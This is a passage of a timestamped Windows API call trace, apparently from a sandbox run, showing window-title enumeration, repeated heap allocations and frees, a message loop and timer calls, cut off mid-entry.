GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.407] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.407] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.407] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.407] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.407] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0132.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0132.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1c8 | out: hHeap=0xe80000) returned 1 [0132.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0132.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0132.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0132.408] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 1 [0132.408] TranslateMessage (lpMsg=0xbdf4bc) returned 0 [0132.408] DispatchMessageW (lpMsg=0xbdf4bc) returned 0x0 [0132.408] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0132.408] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0132.408] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1848 [0132.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0132.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769e8 [0132.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0132.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf078 [0132.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0132.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1848 | out: hHeap=0xe80000) returned 1 [0132.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0132.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0132.409] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.409] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0132.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0132.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0132.409] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0132.410] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0132.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0132.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.410] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.413] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0132.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0132.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0132.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e00 [0132.413] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e00 | out: hHeap=0xe80000) returned 1 [0132.414] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0132.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0132.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0132.414] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015cc0 | out: hHeap=0xe80000) returned 1 [0132.414] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0132.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0132.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e00 [0132.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e00 | out: hHeap=0xe80000) returned 1 [0132.415] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf088 [0132.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055610 [0132.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055610 | out: hHeap=0xe80000) returned 1 [0132.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf088 | out: hHeap=0xe80000) returned 1 [0132.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.416] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.417] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555f0 [0132.417] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555f0 | out: hHeap=0xe80000) returned 1 [0132.417] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.417] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016080 [0132.417] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016080 | out: hHeap=0xe80000) returned 1 [0132.418] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0132.418] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015cc0 | out: hHeap=0xe80000) returned 1 [0132.419] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0132.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0132.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0132.420] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0132.420] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0132.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0132.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0132.421] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015fc0 | out: hHeap=0xe80000) returned 1 [0132.422] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0132.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0132.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.422] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.423] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0132.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0132.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0132.424] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0132.424] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0132.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0132.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0132.425] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0132.426] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.426] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0132.427] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.427] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055610 [0132.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055610 | out: hHeap=0xe80000) returned 1 [0132.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.427] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0132.427] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0132.428] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.428] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0132.428] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0132.428] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.428] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0132.428] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0132.429] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.429] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1758 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769e8 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf228 [0132.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0132.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1758 | out: hHeap=0xe80000) returned 1 [0132.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0132.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0132.429] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.429] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.430] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0132.430] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0132.430] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.430] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.430] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.430] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0132.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0132.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.430] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.430] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.431] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.431] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.431] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, 